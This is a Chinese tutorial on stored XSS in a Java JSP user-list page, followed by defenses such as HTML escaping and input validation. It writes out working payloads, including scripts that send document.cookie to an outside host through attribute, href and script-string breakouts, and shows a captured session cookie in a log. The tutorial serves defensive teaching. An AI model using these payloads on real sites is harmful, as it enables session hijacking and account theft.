XSS 攻击实验 & 防御方案

XSS 攻击&防御实验

不要觉得你的网站很安全，实际上每个网站或多或少都存在漏洞，其中xss/csrf是最常见的漏洞，也是最容易被开发者忽略的漏洞，一不小心就要被黑

下面以一个用户列表页面来演示xss攻击的实验

假设某个恶意用户在注册时输入的用户名中包含攻击代码

首先准备一个jsp页面来显示用户列表

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
  <table>
    <c:forEach items="${users}" var="user">
      <tr>
        <td>${user.userId}</td>
        <td>${user.name}</td>
      </tr>
    </c:forEach>
  </table>
</head>
<body>
</body>
</html>

然后模拟一个control从数据库取出用户列表，显示在该页面上

public class UserController extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //这里模拟从数据库中查询出来的用户
        List<User> users = new ArrayList<User>();
        users.add(new User(1 , "赖宝"));
        users.add(new User(2 , "<script>alert('你被攻击了!');</script>"));
        req.setAttribute("users" , users);
        req.getRequestDispatcher("/users.jsp").forward(req,resp);
    }
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req , resp);
    }
}

当用户访问这个control后进入到用户列表页面，就会看到下面这样的效果了。 这里写图片描述

用浏览器的查看源代码功能可以看到页面的源代码如下：

<html>
<head>
  <table>    
      <tr>
        <td>1</td>
        <td>赖宝</td>
      </tr> 
      <tr>
        <td>2</td>
        <td><script>alert('你被攻击了!');</script></td>
      </tr>   
  </table>
</head>
<body>
</body>
</html>

从html源代码中可以看出有脚本被插入到了页面并且被执行了。

上面这个例子的攻击者就是某个不怀好意的注册用户 , 被攻击者就是查看用户列表的一个管理员

高级攻击

当然，上面这样的攻击对被攻击者也造成不了多大的威胁，只是一个弹出而已，如果将攻击代码改成下面这样，你估计就不会这么觉得了。

//假设恶意用户又注册了用户名中包含攻击代码的用户
users.add(new User(3 , "<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));

当管理员再进入用户列表页面时就会发生悲剧了，首先看一下html源码变成啥样了

<html>
<head>
  <table>
      <tr>
        <td>1</td>
        <td>赖宝</td>
      </tr>  
      <tr>
        <td>2</td>
        <td><script>alert('你被攻击了!');</script></td>
      </tr>   
      <tr>
        <td>3</td>
        <td><script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script></td>
      </tr>    
  </table>
</head>
<body>
</body>
</html>

上面的脚本执行了页面跳转，跳转到了一个攻击者的钓鱼网站，并且将当前用户的cookie，当前url等信息都当作参数传过去了。这个问题就大啦，熟悉http的都知道，有了cookie就相当拿到了当前用户的登录信息，攻击者就可以拿这些信息以管理员的身份访问用户列表了。

管理员的访问用户了列表页面后，浏览器变成了这样。(注意看浏览器地址栏，跳转到了钓鱼网站，并且将cookie和url传递过去了)

Alt text

此时攻击者应该守在电脑屏幕等着网站管理员被攻击，此时他就能看到他的钓鱼网站的访问日志,日志中包含了被攻击用户的cookie与所访问的url

115.182.230.165 - - [22/May/2016:13:11:24 +0800] "GET /?c=__csrf_token__=8xK1wQ3t;%20JSESSIONID=6ub7dbn1pdwl1i1t3wms4i2jl&url=http://localhost:8080/user HTTP/1.1" 200 132 "http://localhost:8080/user" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

这样攻击者就能立马模拟被攻击者的用户信息去访问用户列表页面，如果用户列表中包含用户的很多隐私信息，比如电话，身份证号码，密码(一般不会啦)那么就真的悲剧了，此时攻击者能干什么事，就取决于被攻击用户拥有什么权限了，如果是一个很高级别管理员被攻击，将会有更悲剧的事情发生，各位可以自行脑补

除了直接输出到html标签内的代码可能被攻击，如果攻击代码出现在html标签的属性中也有可能被攻击

比如页面改成下面这样：

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
  <table>
    <c:forEach items="${users}" var="user">
      <tr>
        <td>${user.userId}</td>
        <td userName="${user.name}">用户信息</td>
      </tr>
    </c:forEach>
  </table>
</head>
<body>
</body>
</html>

当管理员访问页面时，浏览器查看html源码如下：


<html>
<head>
  <table>
      <tr>
        <td>1</td>
        <td userName="赖宝">用户信息</td>
      </tr>
      <tr>
        <td>2</td>
        <td userName="<script>alert('你被攻击了!');</script>">用户信息</td>
      </tr> 
      <tr>
        <td>3</td>
        <td userName="<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">用户信息</td>
      </tr>  
  </table>
</head>
<body>
</body>
</html>

看到的页面如下：

Alt text

页面显示正常，因为脚本信息被两个引号给包住了，脚本被当作一个普通字符串属性处理了，所以没有执行。

接下来把攻击脚本稍微修改

//脚本前面加了 ">
users.add(new User(3 , ""> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));

然后再看看此时html源码

<html>
<head>
  <table>   
      <tr>
        <td>1</td>
        <td userName="赖宝">用户信息</td>
      </tr>

      <tr>
        <td>2</td>
        <td userName="<script>alert('你被攻击了!');</script>">用户信息</td>
      </tr>   
      <tr>
        <td>3</td>
        <td userName=""> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">用户信息</td>
      </tr>   
  </table>
</head>
<body>
</body>
</html>

因为html如果找到一个>符号，就会关闭上一个标签开始下一个标签，所以攻击脚本中估计制造一个”>符号将td标签关闭，接下来的<script>脚本就能正常执行了。

上面的例子只是xss攻击方式里面比较常见的几种，但是足以说明xss攻击的原理与严重性，xss攻击方式是各种各样的，需要开发者在平时的开发中多注意，只要页面上需要展示不确定(用户输入的)的内容，都需要仔细对待

XSS防御

页面上直接输出的所有不确定(用户输入)内容都进行html转译

也就是将所有的[<,>,”,,&]等符号都用[<,>,",&]字符进行替换，这些html标签符号被替换后，浏览器就会拿它当作一个普通字符串对待，而不是当作一个标签的开始/结束标志对待。 比如下面的攻击代码在输出前进行转移

 String content = "<script>alert('ok');</script>";
 content= StringEscapeUtils.escapeHtml4(content);
//被转后后成为了&lt;script&gt;alert('ok');&lt;/script&gt;字符串，然后再输出到浏览器

浏览器就不会将转译后的字符串当中脚本执行，而是直接输出一个字符串。 浏览器显示如下：

Alt text

这样就已经能防御大部分xss攻击了

<a>标签的href属性中不要包含不确定(用户输入)的内容

上面的转译能够解决直接输出在html中的内容，原理是将脚本标签中的<>等符号转译替换掉，但是还有一些情况下执行脚本，是不一定要依赖标签的，也就是脚本不需要用<script></script>包住，那么转译对这种脚本就不起作用了，比如a标签中的href属性，除了直接指定一个url进行跳转，还可以通过javascript:xxx();的方式执行js代码。

比如注册用户信息是还要求用户输入一个博客地址(一个url)，用户管理后台的列表中再加一列，让管理员直接点这个链接去访问用户的博客。

<td><a href="${user.blog}">博客地址</a></td>

攻击者在注册用户时，博客地址如果输入下面这样的脚本：

javascript:window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href

那么当管理员点击这个链接的时候，跟之前一样的悲剧就又发生了，管理员的登录信息又被攻击者盗取了。

所以千万不要直接将用户输入的信息输出到href属性中，即使一定要输出，也应该将内容中的javascript/document/cookie/…等js关键字替换掉 ， 最好的方式就是直接将这个信息转译后输出到页面，让管理员复制链接然后再去打开博客

同样的还有onclick , onload , on… 等属性中也千万不要直接放置不确定的内容进去。

script脚本中不要使用不确定的内容

下面假设一个场景： 比如某个直播网站，主播可以设置昵称，用户可以进入该房间观看直播。并且js要用到该主播的昵称，比如要用js将主播昵称放到屏幕中间做一个滚动的效果。

某个开发人员像下面这样写代码 :

<script>
  //获取主播昵称
  var starNick = '${starNick}';
  //让主播昵称在屏幕中间滚动
  rollingStarNick(starNick);
</script>

看起来似乎没啥问题，但是主播如果是一个懂xss攻击，并且想盗取观看用户帐号信息的人。那么问题就大了。

假如主播将昵称改为如下代码：

';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'

当用户进入房间后，脚本部分源码将变成这样:

<script>
  var starNick = '';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'' ;
  rollingStarNick(starNick);
</script>

攻击脚本最前面的 ‘; 是为了结束变量starNick的定义，不然直接放要指定的脚本会被包裹在两个引号”中作为普通字符串处理。

悲剧发生了～，只要进入到这个房间，就会自动跳转到钓鱼网站，并且将cookie信息也传过去了。

对用户输入内容格式做校验

出现上面情况的前提是，服务端没有对用户输入的内容进行校验。假如服务端校验了博客地址是否是一个url格式、用户名是否包含特殊字符等信息，也就不会发生上面这些攻击了，所以服务端最好对用户输入的内容都进行格式校验。

防御总结

看完上面的例子之后，你还觉得你的网站非常安全吗～ ? xss攻击方式多种多样，常见的攻击方式上面都有举例，按照上面的几条防御原则，基本能防御绝大部分攻击了。当然还是需要开发人员格外细心，因为任何一个不注意，就可能导致严重的后果。

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